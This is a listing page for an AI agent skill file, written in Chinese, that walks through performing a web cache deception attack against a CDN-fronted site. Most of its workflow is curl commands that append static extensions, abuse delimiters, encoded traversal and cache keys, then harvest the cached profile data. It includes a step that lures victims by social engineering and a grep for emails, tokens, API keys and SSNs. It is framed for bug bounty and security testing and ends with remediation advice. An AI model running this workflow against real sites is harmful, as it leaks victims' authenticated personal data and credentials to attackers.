performing-web-cache-deception-attack
通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。
Best use case
performing-web-cache-deception-attack is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。
Teams using performing-web-cache-deception-attack should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/performing-web-cache-deception-attack/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How performing-web-cache-deception-attack Compares
| Feature / Agent | performing-web-cache-deception-attack | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 执行 Web 缓存欺骗攻击(Performing Web Cache Deception Attack) ## 适用场景 - 测试位于 CDN 或反向代理(Cloudflare、Akamai、Varnish、Nginx)之后的应用程序时 - 评估已认证页面的缓存行为时 - 评估缓存层与源服务器之间的路径规范化差异时 - 在具有激进缓存策略的应用程序上进行漏洞赏金猎人工作时 - 测试通过缓存层错误配置导致的敏感数据泄露时 ## 前置条件 - 了解 HTTP 缓存机制(Cache-Control、Vary、Age 头部) - 熟悉 CDN 路径规范化和缓存键构造方式 - Burp Suite(用于拦截和构造请求) - 两个浏览器会话(已认证的受害者和未认证的攻击者) - 了解不同技术栈中 URL 路径解析的差异 - 熟悉常见 CDN 平台(Cloudflare、Akamai、Fastly、AWS CloudFront) ## 工作流程 ### 步骤 1 — 识别缓存层和缓存行为 ```bash # 确认是否存在缓存层 curl -I http://target.com/account/profile # 关注:X-Cache、CF-Cache-Status、Age、Via、X-Varnish 头部 # 检查静态扩展名的缓存规则 curl -I "http://target.com/static/style.css" # 关注:X-Cache: HIT、CF-Cache-Status: HIT、Age: >0 # 识别哪些扩展名会被缓存 for ext in css js png jpg gif svg ico woff woff2 pdf; do echo -n "$ext: " curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache" done ``` ### 步骤 2 — 测试基于路径的缓存欺骗 ```bash # 经典 Web 缓存欺骗:向动态 URL 追加静态扩展名 # 受害者访问:http://target.com/account/profile/nonexistent.css # 若源服务器返回个人资料页面,且 CDN 基于 .css 扩展名对其进行缓存: # 步骤 1:以受害者身份(已认证),访问: curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css" # 步骤 2:以攻击者身份(未认证),请求相同 URL: curl "http://target.com/account/profile/anything.css" # 若返回受害者的个人资料数据,则缓存欺骗攻击已确认 # 测试各种扩展名 for ext in css js png jpg svg ico woff2; do curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null sleep 2 echo -n "$ext: " curl -s "http://target.com/account/profile/x.$ext" | head -c 200 echo done ``` ### 步骤 3 — 利用分隔符差异 ```bash # 使用 CDN 和源服务器解析方式不同的路径分隔符 # 分号分隔符(CDN 忽略,源服务器处理) curl -b "session=VICTIM" "http://target.com/account/profile;anything.css" # 编码字符 curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css" curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css" # 空字节注入 curl -b "session=VICTIM" "http://target.com/account/profile%00.css" # 片段标识符滥用 curl -b "session=VICTIM" "http://target.com/account/profile%23.css" # 点路径段规范化 curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile" ``` ### 步骤 4 — 测试路径规范化差异 ```bash # 路径遍历规范化差异 # CDN 规范化:/account/profile/../static/x.css -> /static/x.css(被缓存) # 源服务器看到:/account/profile(返回动态页面) curl -b "session=VICTIM" "http://target.com/static/../account/profile" # 若 CDN 与源服务器规范化方式不同,可能将其缓存为 /account/profile # 编码路径遍历 curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile" # 大小写敏感性差异 curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS" # 双重编码路径 curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css" ``` ### 步骤 5 — 利用缓存键操控 ```bash # 识别缓存键组成部分 # CDN 可能使用:协议 + 主机 + 路径(不含查询字符串) # 测试查询字符串是否影响缓存 curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css" # 测试 CDN 使用完整路径还是规范化路径作为缓存键 curl -b "session=VICTIM" "http://target.com/account/profile/./style.css" curl "http://target.com/account/profile/./style.css" # 检查是否被缓存 # 基于头部的缓存键操控 curl -b "session=VICTIM" -H "X-Original-URL: /account/profile" \ "http://target.com/static/cached.css" ``` ### 步骤 6 — 验证并记录攻击 ```bash # 完整攻击链: # 1. 构造恶意 URL:http://target.com/account/profile/x.css # 2. 将 URL 发送给受害者(通过社会工程学、邮件等) # 3. 受害者在已认证状态下点击链接 # 4. CDN 缓存已认证的响应 # 5. 攻击者以未认证状态请求相同 URL # 6. CDN 将缓存的已认证内容提供给攻击者 # 验证缓存状态 curl -I "http://target.com/account/profile/x.css" # 确认:X-Cache: HIT 或 CF-Cache-Status: HIT # 检查暴露的敏感数据 curl -s "http://target.com/account/profile/x.css" | grep -i "email\|name\|token\|api_key\|ssn" ``` ## 核心概念 | 概念 | 定义 | |---------|-------------| | 缓存欺骗(Cache Deception) | 欺骗 CDN 将已认证的动态内容作为静态资源进行缓存 | | 路径规范化(Path Normalization) | CDN 与源服务器对路径段(../、;、编码字符)的不同解析方式 | | 缓存键(Cache Key) | CDN 用于存取缓存响应的标识符(通常为 URL 路径) | | 静态扩展名技巧(Static Extension Trick) | 向动态 URL 追加 .css/.js/.png 以触发缓存行为 | | 分隔符差异(Delimiter Discrepancy) | 缓存层与源服务器对 ;、?、# 字符的不同解释 | | 缓存投毒 vs 缓存欺骗(Cache Poisoning vs Deception) | 投毒影响所有用户的缓存;欺骗缓存特定受害者的数据 | | Vary 头部(Vary Header) | 控制哪些请求属性影响缓存键的 HTTP 头部 | ## 工具与系统 | 工具 | 用途 | |------|---------| | Burp Suite | HTTP 代理,用于构造缓存欺骗请求 | | curl | 命令行测试缓存行为和响应头部 | | Web Cache Vulnerability Scanner | 自动检测缓存欺骗/投毒的工具 | | Param Miner | Burp 扩展,用于发现未纳入缓存键的参数 | | Cloudflare Diagnostics | 分析 CF-Cache-Status 和 cf-ray 头部 | | Varnish CLI | 直接检查基于 Varnish 的缓存配置 | ## 常见场景 1. **个人资料数据窃取** — 通过向个人资料 URL 追加 .css 扩展名,缓存含有 PII(邮箱、地址、电话)的已认证用户个人资料页面 2. **API Token 泄露** — 通过 CDN 路径操控,缓存显示 token 和密钥的 API 控制台页面 3. **账户接管** — 缓存包含 session token 或 CSRF token 的页面,利用窃取的 token 实施账户接管 4. **金融数据泄露** — 缓存显示账户余额和交易记录的银行或支付页面 5. **管理后台缓存** — 通过 CDN 上基于分隔符的路径混淆,缓存管理后台页面 ## 输出格式 ``` ## Web 缓存欺骗报告 - **目标**:http://target.com - **CDN**:Cloudflare - **漏洞**:通过追加静态扩展名实现基于路径的缓存欺骗 ### 缓存行为分析 | 扩展名 | 是否被缓存 | Cache-Control | TTL | |-----------|--------|---------------|-----| | .css | 是 | public, max-age=86400 | 24h | | .js | 是 | public, max-age=86400 | 24h | | .png | 是 | public, max-age=604800 | 7d | ### 利用结果 | 受害者 URL | 缓存数据 | 敏感字段 | |-----------|-------------|-----------------| | /account/profile/x.css | 完整个人资料页面 | 邮箱、姓名、API Key | | /account/settings/x.js | 设置页面 | 双因素认证备用码 | ### 修复建议 - 配置 CDN 对动态页面遵守 Cache-Control: no-store - 在已认证端点实施 Vary: Cookie 头部 - 使用基于路径的路由规则,拒绝非预期扩展名 - 在 CDN 与源服务器之间启用一致的路径规范化 ```
Related Skills
recovering-from-ransomware-attack
按照 NIST 和 CISA 框架执行结构化勒索软件事件恢复,包括环境隔离、取证证据保全、 干净基础设施重建、从已验证备份优先还原系统、凭据重置,以及针对再感染的验证。 涵盖 Active Directory 恢复、数据库还原和按依赖顺序重建应用栈。
performing-yara-rule-development-for-detection
通过识别可执行文件中的唯一字节模式、字符串和行为指标,开发精准的 YARA 恶意软件检测规则,同时将误报率降至最低。
performing-wireless-security-assessment-with-kismet
使用 Kismet 通过被动射频监控进行无线网络安全评估,检测流氓接入点(Rogue AP)、隐藏 SSID、弱加密和未授权客户端。
performing-wireless-network-penetration-test
执行无线网络渗透测试,通过捕获握手包、破解 WPA2/WPA3 密钥、检测流氓接入点以及使用 Aircrack-ng 和相关工具测试无线网络分段,评估 WiFi 安全性。
performing-windows-artifact-analysis-with-eric-zimmerman-tools
使用 Eric Zimmerman 的开源 EZ Tools 套件(包括 KAPE、MFTECmd、PECmd、LECmd、JLECmd 和 Timeline Explorer)执行全面的 Windows 取证制品分析,解析注册表 hive、预取文件、事件日志和文件系统元数据。
performing-wifi-password-cracking-with-aircrack
在授权无线安全评估中捕获 WPA/WPA2 握手包,并使用 aircrack-ng、hashcat 和字典攻击进行离线密码破解, 以评估密码短语强度和无线网络安全状况。
performing-web-cache-poisoning-attack
在授权安全测试期间,通过未纳入缓存键的头部和参数毒化缓存响应,利用 Web 缓存机制向其他用户投递恶意内容。
performing-web-application-vulnerability-triage
使用 OWASP 风险评级方法论对 DAST/SAST 扫描器的 Web 应用程序漏洞发现进行分类,区分真阳性和假阳性,并确定修复优先级。
performing-web-application-scanning-with-nikto
Nikto 是一款开源 Web 服务器和 Web 应用程序扫描器,可针对超过 7,000 个潜在危险文件/程序进行测试,检查超过 1,250 个服务器的过期版本,并识别超过 270 个服务器的版本特定问题。
performing-web-application-penetration-test
遵循 OWASP Web 安全测试指南(WSTG)方法论,对 Web 应用程序执行系统化安全测试,识别认证、授权、 输入验证、会话管理和业务逻辑中的漏洞。测试人员以 Burp Suite 作为主要拦截代理,结合手动测试技术 发现自动化扫描器遗漏的缺陷。适用于 Web 应用渗透测试、OWASP 测试、应用安全评估或 Web 漏洞测试等请求场景。
performing-web-application-firewall-bypass
使用编码技术、HTTP 方法操控、参数污染和载荷混淆绕过 Web 应用防火墙保护,将 SQL 注入、XSS 及其他攻击载荷穿透 WAF 检测规则。
performing-vulnerability-scanning-with-nessus
使用 Tenable Nessus 执行认证和未认证漏洞扫描,识别网络基础设施、服务器和应用程序中的已知漏洞、 错误配置、默认凭据和缺失补丁。扫描器将发现与 CVE 数据库和 CVSS 评分关联,生成优先级修复指导。 适用于漏洞扫描、Nessus 评估、补丁合规检查或自动化漏洞检测等请求场景。